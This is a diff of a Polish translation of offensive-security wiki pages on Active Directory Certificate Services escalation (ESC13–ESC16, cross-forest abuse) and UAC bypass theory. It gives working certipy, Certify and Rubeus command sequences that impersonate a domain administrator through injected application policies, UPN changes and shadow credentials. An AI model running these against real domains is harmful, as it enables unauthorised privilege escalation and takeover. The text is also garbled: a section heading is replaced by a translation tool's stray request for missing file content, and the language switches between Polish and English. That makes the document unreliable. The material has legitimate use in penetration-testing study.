+- **Precondycja**: Cel ma słabe explicit mapping X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509SubjectOnly celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel.
 
-### konkretne operacje
-#### Scenariusz A
+### concrete operations
+#### Scenario A
 
-Request a certificate of the certificate template `Machine`
+Zażądaj certyfikatu z szablonu `Machine`
 ```bash
 .\Certify.exe request /ca:<ca> /template:Machine /machine
 ```
-Zapisz i przekonwertuj certyfikat
+Zapisz i skonwertuj certyfikat
 ```bash
 certutil -MergePFX .\esc13.pem .\esc13.pfx
 ```
@@ -755,31 +753,31 @@ Uwierzytelnij się (przy użyciu certyfikatu)
 ```bash
 .\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
 ```
-Sprzątanie (opcjonalne)
+Nie otrzymałem treści pliku domain-escalation.md. Proszę wklej zawartość, którą mam przetłumaczyć na polski.
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-Aby uzyskać bardziej szczegółowe metody ataku w różnych scenariuszach, zapoznaj się z następującym materiałem: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
 ## EKUwu Application Policies(CVE-2024-49019) - ESC15
 
 ### Wyjaśnienie
 
-Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc jest wyjątkowo wyczerpujący. Poniżej znajduje się cytat oryginalnego tekstu.
+Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc jest wyjątkowo wyczerpujący. Poniżej cytat oryginalnego tekstu.
 
 Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
 ### Wykorzystanie
 
-Poniższe odnosi się do [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Kliknij, aby zobaczyć bardziej szczegółowe metody użycia.
+The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
-Polecenie `find` w Certipy może pomóc zidentyfikować szablony V1, które potencjalnie są podatne na ESC15, jeśli CA nie jest załatany.
+Polecenie `find` z Certipy może pomóc zidentyfikować szablony V1 potencjalnie podatne na ESC15, jeśli CA nie jest załatana.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
 #### Scenariusz A: Direct Impersonation via Schannel
 
-**Krok 1: Poproś o certyfikat, wstrzykując "Client Authentication" Application Policy i docelowy UPN.** Atakujący `attacker@corp.local` celuje w `administrator@corp.local`, używając szablonu "WebServer" V1 (który pozwala na enrollee-supplied subject).
+**Krok 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Atakujący `attacker@corp.local` celuje w `administrator@corp.local` używając szablonu "WebServer" V1 (który pozwala na enrollee-supplied subject).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -792,13 +790,13 @@ certipy req \
 - `-application-policies 'Client Authentication'`: Wstrzykuje OID `1.3.6.1.5.5.7.3.2` do rozszerzenia Application Policies w CSR.
 - `-upn 'administrator@corp.local'`: Ustawia UPN w SAN w celu podszywania się.
 
-**Krok 2: Uwierzytelnij się za pomocą Schannel (LDAPS) używając uzyskanego certyfikatu.**
+**Krok 2: Uwierzytelnij się przez Schannel (LDAPS) używając uzyskanego certyfikatu.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
-#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
+#### Scenariusz B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Ten certyfikat ma umożliwić atakującemu (`attacker@corp.local`) zostanie enrollment agentem. Nie podano UPN dla tożsamości atakującego w tym przypadku, ponieważ celem jest funkcja agenta.
+**Krok 1: Zażądaj certyfikatu z V1 template (with "Enrollee supplies subject"), wstrzykując Application Policy "Certificate Request Agent".** Ten certyfikat ma pozwolić atakującemu (`attacker@corp.local`) zostać enrollment agentem. Nie podano tutaj żadnego UPN dla tożsamości atakującego, ponieważ celem jest uzyskanie możliwości działania jako enrollment agent.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -808,7 +806,7 @@ certipy req \
 ```
 - `-application-policies 'Certificate Request Agent'`: Wstrzykuje OID `1.3.6.1.4.1.311.20.2.1`.
 
-**Krok 2: Użyj certyfikatu "agent", aby zażądać certyfikatu w imieniu docelowego uprzywilejowanego użytkownika.** Jest to krok podobny do ESC3, wykorzystujący certyfikat z Kroku 1 jako certyfikat "agent".
+**Krok 2: Użyj certyfikatu "agent" do zażądania certyfikatu w imieniu docelowego uprzywilejowanego użytkownika.** This is an ESC3-like step, using the certificate from Step 1 as the agent certificate.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -820,27 +818,27 @@ certipy req \
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Rozszerzenie zabezpieczeń wyłączone na CA (globalnie)-ESC16
+## Security Extension Disabled on CA (Globally)-ESC16
 
 ### Wyjaśnienie
 
 **ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi się do scenariusza, w którym, jeśli konfiguracja AD CS nie wymusza dołączenia rozszerzenia **szOID_NTDS_CA_SECURITY_EXT** do wszystkich certyfikatów, atakujący może to wykorzystać poprzez:
 
-1. Zażądanie certyfikatu **bez SID binding**.
+1. Zażądanie certyfikatu **without SID binding**.
 
-2. Użycie tego certyfikatu **do uwierzytelnienia jako dowolne konto**, na przykład podszywanie się pod konto o wysokich uprawnieniach (np. Domain Administrator).
+2. Użycie tego certyfikatu **do uwierzytelniania jako dowolne konto**, np. podszywanie się pod konto o wysokich uprawnieniach (np. Administrator domeny).
 
-Możesz także odnieść się do tego artykułu, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+Możesz również odnieść się do tego artykułu, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
 ### Wykorzystanie
 
-Poniższe odnosi się do [tego linku](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Kliknij, aby zobaczyć bardziej szczegółowe metody użycia.
+The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods.
 
-Aby zidentyfikować, czy środowisko Active Directory Certificate Services (AD CS) jest podatne na **ESC16**
+Aby zidentyfikować, czy środowisko Active Directory Certificate Services (AD CS) jest podatne na **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Krok 1: Odczytaj początkowy UPN konta ofiary (Opcjonalne — do przywrócenia).
+**Krok 1: Odczytaj początkowy UPN konta ofiary (Opcjonalnie - do przywrócenia).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -854,14 +852,14 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Krok 3: (jeśli to konieczne) Uzyskaj poświadczenia dla konta "victim" (np. za pomocą Shadow Credentials).**
+**Krok 3: (Jeśli to potrzebne) Uzyskaj poświadczenia konta "ofiary" (np. Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Krok 4: Zażądaj certyfikatu jako użytkownik "victim" z _dowolnego odpowiedniego szablonu uwierzytelniania klienta_ (np. "User") na CA podatnej na ESC16.** Ponieważ CA jest podatny na ESC16, automatycznie pominie rozszerzenie bezpieczeństwa SID w wydanym certyfikacie, niezależnie od konkretnych ustawień tego rozszerzenia w szablonie. Ustaw zmienną środowiskową cache poświadczeń Kerberos (polecenie shell):
+**Krok 4: Zażądaj certyfikatu jako użytkownik "victim" z _dowolnego odpowiedniego szablonu uwierzytelniania klienta_ (np. "User") na CA podatnym na ESC16.** Ponieważ CA jest podatne na ESC16, automatycznie pominie rozszerzenie bezpieczeństwa SID w wydanym certyfikacie, niezależnie od ustawień tego rozszerzenia w szablonie. Ustaw zmienną środowiskową Kerberos credential cache (polecenie shell):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -872,7 +870,7 @@ certipy req \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
 ```
-**Krok 5: Przywróć UPN konta "ofiary".**
+**Krok 5: Przywróć UPN konta "victim".**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -885,18 +883,18 @@ certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Kompromitacja lasów za pomocą certyfikatów — wyjaśnienie w stronie biernej
+## Kompromitowanie lasów za pomocą certyfikatów — wyjaśnione w stronie biernej
 
-### Naruszenie zaufania między lasami przez skompromitowane CA
+### Łamanie zaufania między lasami przez skompromitowane CA
 
-Konfiguracja dla **cross-forest enrollment** została wykonana stosunkowo prosto. **root CA certificate** z lasu zasobów jest **publikowany do lasów kont** przez administratorów, a certyfikaty **Enterprise CA** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kont**. Dla jasności, takie ustawienie daje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli ta CA zostanie **skompromitowana przez atakujących**, certyfikaty dla wszystkich użytkowników zarówno w lesie zasobów, jak i w lasach kont mogą zostać przez nich **sfałszowane**, łamiąc tym samym granicę bezpieczeństwa lasu.
+Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. Certyfikat **root CA** z lasu zasobów jest przez administratorów **publikowany do account forests**, a certyfikaty **Enterprise CA** z lasu zasobów są **dodawane do `NTAuthCertificates` i kontenerów AIA w każdym account forest**. Dla jasności, takie ustawienie daje **CA w lesie zasobów pełną kontrolę** nad wszystkimi pozostałymi lasami, dla których zarządza PKI. Jeśli ta CA zostanie **skomromitowana przez atakujących**, certyfikaty dla wszystkich użytkowników zarówno w lesie zasobów, jak i w account forests mogłyby zostać przez nich **podrobione**, łamiąc tym samym granicę bezpieczeństwa lasu.
 
-### Uprawnienia do rejestracji przyznane obcym podmiotom
+### Uprawnienia do rejestracji przyznane podmiotom zewnętrznym
 
-W środowiskach wielo-lasowych należy zachować ostrożność w odniesieniu do Enterprise CA, które **publikują szablony certyfikatów** pozwalające **Authenticated Users lub foreign principals** (użytkownicy/grupy spoza lasu, do którego należy Enterprise CA) na **uprawnienia do rejestracji i edycji**.\
-Po uwierzytelnieniu w ramach trustu, AD dodaje do tokenu użytkownika **Authenticated Users SID**. Zatem jeżeli domena posiada Enterprise CA z szablonem, który **pozwala Authenticated Users na uprawnienia do rejestracji**, szablon mógłby potencjalnie zostać **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **uprawnienia do rejestracji są wyraźnie przyznane obcemu podmiotowi przez szablon**, w ten sposób zostaje utworzona **relacja kontroli dostępu między lasami (cross-forest)**, umożliwiając podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**.
+W środowiskach wielo-lasowych należy zachować ostrożność względem Enterprise CA, które publikują szablony certyfikatów pozwalające na przyznanie praw do rejestracji i edycji grupie **Authenticated Users** lub **foreign principals** (użytkownicy/grupy spoza lasu, do którego należy Enterprise CA).  
+Po uwierzytelnieniu poprzez trust AD dodaje do tokenu użytkownika **Authenticated Users SID**. W związku z tym, jeśli domena posiada Enterprise CA ze szablonem, który **pozwala grupie Authenticated Users na prawa rejestracji**, szablon taki mógłby zostać zarejestrowany przez użytkownika z innego lasu. Podobnie, jeśli szablon jawnie przyznaje prawa rejestracji zagranicznemu podmiotowi, tworzy to relację kontroli dostępu między lasami, umożliwiając podmiotowi z jednego lasu rejestrację w szablonie z innego lasu.
 
-Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu na drugi. Ustawienia szablonu certyfikatu mogą zostać wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie.
+Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu na inny. Ustawienia szablonu certyfikatu mogą zostać wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie.
 
 
 ## References

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -1,10 +1,10 @@
-# UAC - Kontrola konta użytkownika
+# UAC - Kontrola kont użytkowników
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia wyświetlanie **okna potwierdzenia przy akcjach wymagających uprawnień podwyższonych**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **potencjalnie mogą zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **uruchamiają się w kontekście konta bez uprawnień administratora**, chyba że administrator eksplicitnie przyzna tym aplikacjom/zadaniom dostęp na poziomie administratora. To funkcja ułatwiająca pracę, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która wymusza wyświetlanie **monitu o zgodę przy czynnościach wymagających podwyższenia uprawnień**. Aplikacje mają różne poziomy `integrity`, a program o **wysokim poziomie** może wykonywać zadania, które **potencjalnie mogą zagrozić systemowi**. Gdy UAC jest włączony, aplikacje i zadania zawsze **uruchamiają się w kontekście konta niebędącego administratorem**, chyba że administrator wyraźnie zezwoli tym aplikacjom/zadaniom na dostęp z uprawnieniami administratora. Jest to funkcja ułatwiająca pracę chroniąca administratorów przed niezamierzonymi zmianami, ale nie jest uznawana za granicę bezpieczeństwa.
 
 For more info about integrity levels:
 
@@ -13,47 +13,47 @@ For more info about integrity levels:
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Gdy UAC jest aktywne, konto administratora otrzymuje 2 tokeny: jeden standardowy do wykonywania zwykłych działań na poziomie zwykłego użytkownika oraz drugi z uprawnieniami administratora.
+Gdy UAC jest aktywny, użytkownik należący do grupy administratorów otrzymuje 2 tokeny: token standardowego użytkownika do wykonywania zwykłych czynności oraz token z uprawnieniami administratora.
 
-Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) opisuje działanie UAC bardzo szczegółowo i obejmuje proces logowania, doświadczenie użytkownika oraz architekturę UAC. Administratorzy mogą używać zasad bezpieczeństwa do skonfigurowania sposobu działania UAC lokalnie (przy użyciu secpol.msc) lub konfigurować i dystrybuować ustawienia przez Group Policy Objects (GPO) w środowisku Active Directory. Różne ustawienia są omówione szczegółowo [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Group Policy, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
+This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) omawia działanie UAC bardzo szczegółowo i obejmuje proces logowania, doświadczenie użytkownika oraz architekturę UAC. Administratorzy mogą używać zasad zabezpieczeń do konfiguracji działania UAC odpowiednio do organizacji na poziomie lokalnym (używając secpol.msc), lub konfigurować i dystrybuować je przez Group Policy Objects (GPO) w środowisku domeny Active Directory. Różne ustawienia opisano szczegółowo [here]. Istnieje 10 ustawień Group Policy, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
 
 | Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Disabled                                                     |
-| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Disabled                                                     |
-| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Prompt for consent for non-Windows binaries                  |
-| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Prompt for credentials on the secure desktop                 |
-| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Enabled (default for home) Disabled (default for enterprise) |
-| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Disabled                                                     |
-| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Enabled                                                      |
-| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Enabled                                                      |
-| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Enabled                                                      |
-| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Enabled                                                      |
+| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Wyłączone                                                    |
+| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Wyłączone                                                    |
+| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Monit o zgodę dla binarek spoza Windows                      |
+| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Wymagaj poświadczeń na bezpiecznym pulpicie                  |
+| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Włączone (domyślnie dla Home), Wyłączone (domyślnie dla Enterprise) |
+| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Wyłączone                                                    |
+| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Włączone                                                     |
+| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Włączone                                                     |
+| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Włączone                                                     |
+| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Włączone                                                     |
 
-### UAC Bypass Theory
+### Teoria omijania UAC
 
-Niektóre programy są **autoelevated automatically**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifests**_ opcję _**autoElevate**_ ustawioną na _**True**_. Binarium musi być też **podpisane przez Microsoft**.
+Niektóre programy są **automatycznie podwyższane (autoelevated)**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifestach**_ opcję _**autoElevate**_ z wartością _**True**_. Plik wykonywalny musi być również **podpisany przez Microsoft**.
 
-Wiele procesów auto-elevate udostępnia **funkcjonalność przez obiekty COM lub serwery RPC**, które można wywołać z procesów działających z medium integrity (z uprawnieniami zwykłego użytkownika). Zauważ, że COM (Component Object Model) i RPC (Remote Procedure Call) to metody, których programy Windows używają do komunikacji i wykonywania funkcji między różnymi procesami. Na przykład **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji na plikach (kopiowanie, usuwanie, przenoszenie) i może automatycznie podnosić uprawnienia bez wyświetlania monitu.
+Wiele procesów auto-elevate udostępnia **funkcjonalność przez obiekty COM lub serwery RPC**, które można wywołać z procesów działających z medium integrity (z uprawnieniami zwykłego użytkownika). Uwaga: COM (Component Object Model) i RPC (Remote Procedure Call) to metody, których programy Windows używają do komunikacji i wykonywania funkcji pomiędzy różnymi procesami. Na przykład **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji na plikach (kopiowanie, usuwanie, przenoszenie) i może automatycznie podwyższać uprawnienia bez wyświetlania monitu.
 
-Należy pamiętać, że mogą być wykonywane pewne kontrole, np. sprawdzanie, czy proces został uruchomiony z katalogu **System32**, co można obejść na przykład przez **wstrzyknięcie do explorer.exe** lub innego wykonywalnego pliku znajdującego się w System32.
+Warto zauważyć, że mogą być wykonywane pewne kontrole, np. sprawdzanie, czy proces został uruchomiony z katalogu **System32**, co można obejść np. poprzez **wstrzyknięcie do explorer.exe** lub innego pliku wykonywalnego znajdującego się w System32.
 
-Innym sposobem obejścia tych kontroli jest modyfikacja PEB. Każdy proces w Windows ma Process Environment Block (PEB), który zawiera ważne dane o procesie, takie jak ścieżka do wykonywalnego pliku. Poprzez modyfikację PEB, atakujący mogą sfałszować (spoofować) lokalizację swojego złośliwego procesu, sprawiając, że będzie wyglądał, jakby działał z zaufanego katalogu (np. system32). Te sfałszowane informacje oszukują obiekt COM, aby auto-elevował uprawnienia bez wyświetlania monitu.
+Innym sposobem na obejście tych sprawdzeń jest modyfikacja **PEB**. Każdy proces w Windows ma Process Environment Block (PEB), który zawiera istotne dane o procesie, takie jak ścieżka do pliku wykonywalnego. Poprzez modyfikację PEB, atakujący mogą sfałszować (spoofować) lokalizację własnego złośliwego procesu, sprawiając, że będzie wyglądał, jakby uruchamiał się z zaufanego katalogu (np. System32). Tak sfingowane informacje oszukują obiekt COM, skłaniając go do automatycznego podwyższenia uprawnień bez monitu użytkownika.
 
-Następnie, aby **obejść** **UAC** (podnieść z poziomu **medium** integrity do **high**), niektórzy atakujący używają tego typu binariów do **wykonywania dowolnego kodu**, ponieważ zostanie on uruchomiony z procesu o **wysokim poziomie integrity**.
+Aby **obejść** **UAC** (podnieść poziom z **medium** integrity do **high**), niektórzy atakujący używają takiego typu binariów do **uruchamiania dowolnego kodu**, ponieważ zostanie on wykonany w procesie o **wysokim poziomie integralności**.
 
-Możesz **sprawdzić** _**Manifest**_ binarium używając narzędzia _**sigcheck.exe**_ z Sysinternals. (`sigcheck.exe -m <file>`) I możesz **zobaczyć** **integrity level** procesów używając _Process Explorer_ lub _Process Monitor_ (z Sysinternals).
+Możesz **sprawdzić** _**Manifest**_ binarki przy użyciu narzędzia _**sigcheck.exe**_ z Sysinternals (`sigcheck.exe -m <file>`). A poziom **integrity** procesów można zobaczyć przy pomocy _Process Explorer_ lub _Process Monitor_ (Sysinternals).
 
-### Check UAC
+### Sprawdzenie UAC
 
-Aby potwierdzić, czy UAC jest włączone, wykonaj:
+Aby sprawdzić, czy UAC jest włączony, wykonaj:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Jeśli to **`1`**, to UAC jest **włączone**, jeśli to **`0`** lub nie istnieje, to UAC jest **wyłączone**.
+Jeśli wartość to **`1`**, to UAC jest **aktywny**, jeśli to **`0`** lub nie istnieje, to UAC jest **nieaktywny**.
 
 Następnie sprawdź, **jaki poziom** jest skonfigurowany:
 ```
@@ -62,12 +62,12 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- If **`0`** then, UAC won't prompt (like **disabled**)
-- If **`1`** the administrator is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
-- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
-- If **`3`** like `1` but not necessary on Secure Desktop
-- If **`4`** like `2` but not necessary on Secure Desktop
-- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
+- Jeśli **`0`** to UAC nie będzie wyświetlać monitów (czyli **wyłączony**)
+- Jeśli **`1`** administrator jest **prosiony o nazwę użytkownika i hasło** aby uruchomić binarkę z wysokimi uprawnieniami (na Secure Desktop)
+- Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi administratora o potwierdzenie, gdy spróbuje uruchomić coś z wysokimi uprawnieniami (na Secure Desktop)
+- Jeśli **`3`** jak `1` ale niekoniecznie na Secure Desktop
+- Jeśli **`4`** jak `2` ale niekoniecznie na Secure Desktop
+- Jeśli **`5`**(**domyślnie**) będzie prosić administratora o potwierdzenie uruchomienia binarek niebędących częścią Windows z wysokimi uprawnieniami
 
 Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
 If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
@@ -89,18 +89,18 @@ You can also check the groups of your user and get the integrity level:
 net user %username%
 whoami /groups | findstr Level
 ```
-## Ominięcie UAC
+## UAC bypass
 
 > [!TIP]
-> Należy pamiętać, że jeśli masz dostęp graficzny do ofiary, ominięcie UAC jest proste — możesz po prostu kliknąć "Yes", gdy pojawi się monit UAC
+> Zauważ, że jeśli masz graficzny dostęp do ofiary, obejście UAC jest proste — możesz po prostu kliknąć "Yes", gdy pojawi się monit UAC
 
